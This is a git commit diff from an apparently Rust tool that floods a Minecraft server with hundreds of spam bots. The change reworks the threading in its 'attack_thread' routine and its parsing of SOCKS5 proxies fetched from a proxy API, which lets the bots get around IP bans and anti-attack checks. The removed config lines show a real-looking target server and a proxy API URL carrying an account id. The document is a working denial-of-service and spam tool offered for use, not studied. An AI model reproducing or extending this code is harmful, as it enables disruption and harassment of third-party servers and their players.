修复了上一个推送导致的bug
This commit is contained in:
@@ -1,8 +1,8 @@
|
||||
{
|
||||
"server_ip": "m.earthvillage.top",
|
||||
"server_port": "33009",
|
||||
"proxy_url": "http://uu-proxy.com/api/get_proxies?id=RZ7GS5ZYTA&size=1&schemes=socks5&support_https=false&format=json",
|
||||
"username_prefix": "我叫猪好燃",
|
||||
"server_ip": "127.0.0.1",
|
||||
"server_port": "25565",
|
||||
"proxy_url": "",
|
||||
"username_prefix": "test",
|
||||
"count": 300,
|
||||
"reco_words": ["验证程序已启用","AntiAttack"],
|
||||
"login_commands": ["reg helloa helloa"],
|
||||
|
||||
@@ -315,7 +315,7 @@ impl<T: StreamType> Bot<T> {
|
||||
}
|
||||
(*var.spam_cursor.lock().await) = reader.stream_position().await.unwrap();
|
||||
}
|
||||
self.send_message(msg).await.unwrap();
|
||||
self.send_message(msg).await.unwrap_or(());
|
||||
}
|
||||
iter += 1;
|
||||
}
|
||||
|
||||
38
src/main.rs
38
src/main.rs
@@ -7,8 +7,9 @@ mod configuration;
|
||||
use bot_socks5::BotVariable;
|
||||
use reqwest;
|
||||
use serde_json::Value;
|
||||
use tokio::task;
|
||||
// use tokio::task;
|
||||
use std::sync::Arc;
|
||||
use std::thread;
|
||||
use tokio::sync::Mutex;
|
||||
use crate::utils::generate_username;
|
||||
use crate::configuration::Configuration;
|
||||
@@ -27,13 +28,6 @@ use crate::configuration::Configuration;
|
||||
|
||||
#[tokio::main]
|
||||
async fn main() {
|
||||
// let rt = tokio::runtime::Builder::new_multi_thread()
|
||||
// .enable_all()
|
||||
// .thread_stack_size(8 * 1024 * 1024)
|
||||
// .worker_threads(30)
|
||||
// .build()
|
||||
// .unwrap();
|
||||
|
||||
// 一个互斥锁,防止有多个线程同时请求uuproxy
|
||||
let thread_lock = Arc::new(Mutex::new(()));
|
||||
|
||||
@@ -49,6 +43,13 @@ async fn main() {
|
||||
spam_cursor: Arc::new(Mutex::new(0))
|
||||
});
|
||||
|
||||
// let rt = tokio::runtime::Builder::new_multi_thread()
|
||||
// .enable_all()
|
||||
// .thread_stack_size(8 * 1024 * 1024)
|
||||
// .worker_threads((configuration_rc.count()-1) as usize)
|
||||
// .build()
|
||||
// .unwrap();
|
||||
|
||||
for _ in 0..configuration_rc.count() -1 {
|
||||
let lock_clone = thread_lock.clone();
|
||||
let configuration_rc_clone = configuration_rc.clone();
|
||||
@@ -58,7 +59,18 @@ async fn main() {
|
||||
// println!("[MAIN] Thread {} created", i);
|
||||
// });
|
||||
// 生成一个线程
|
||||
let handle = task::spawn(attack_thread(lock_clone, configuration_rc_clone,variables_clone));
|
||||
// let handle = rt.spawn(attack_thread(lock_clone,configuration_rc_clone,variables_clone));
|
||||
let handle = thread::spawn(move || {
|
||||
tokio::runtime::Builder::new_current_thread()
|
||||
.enable_all()
|
||||
.thread_stack_size(8 * 1024 * 1024)
|
||||
.build()
|
||||
.unwrap()
|
||||
.block_on(async move {
|
||||
attack_thread(lock_clone,configuration_rc_clone,variables_clone).await;
|
||||
// println!("[MAIN] Thread {} created", i);
|
||||
});
|
||||
});
|
||||
handles.push(handle);
|
||||
// println!("[MAIN] Thread {} created", i) // 这个太吵了(
|
||||
}
|
||||
@@ -96,7 +108,7 @@ async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variabl
|
||||
Some(t) => &t[0],
|
||||
None => &Value::Null
|
||||
};
|
||||
if proxy.as_str() == None {
|
||||
if !proxy.is_object() {
|
||||
flag = true;
|
||||
eprintln!("[{}] Unable to get proxy,retrying...",username)
|
||||
}
|
||||
@@ -106,13 +118,17 @@ async fn attack_thread(lock: Arc<Mutex<()>>, config: Arc<Configuration>, variabl
|
||||
while flag {
|
||||
flag = false;
|
||||
// 创建一个bot
|
||||
let addr:String; // 为了规避生命周期问题
|
||||
let bot_result = bot_socks5::create_new_bot(
|
||||
username.to_string(),
|
||||
{
|
||||
if proxy.is_null() { // 如果不使用proxy
|
||||
""
|
||||
}else{
|
||||
proxy.as_str().unwrap()
|
||||
let ip = proxy["ip"].as_str().unwrap();
|
||||
let port = proxy["port"].as_i64().unwrap();
|
||||
addr = format!("{}:{}",ip,port);
|
||||
addr.as_str()
|
||||
}
|
||||
}.to_string(),
|
||||
format!("{}:{}",config.server_ip(),config.server_port()),
|
||||
|
||||
Reference in New Issue
Block a user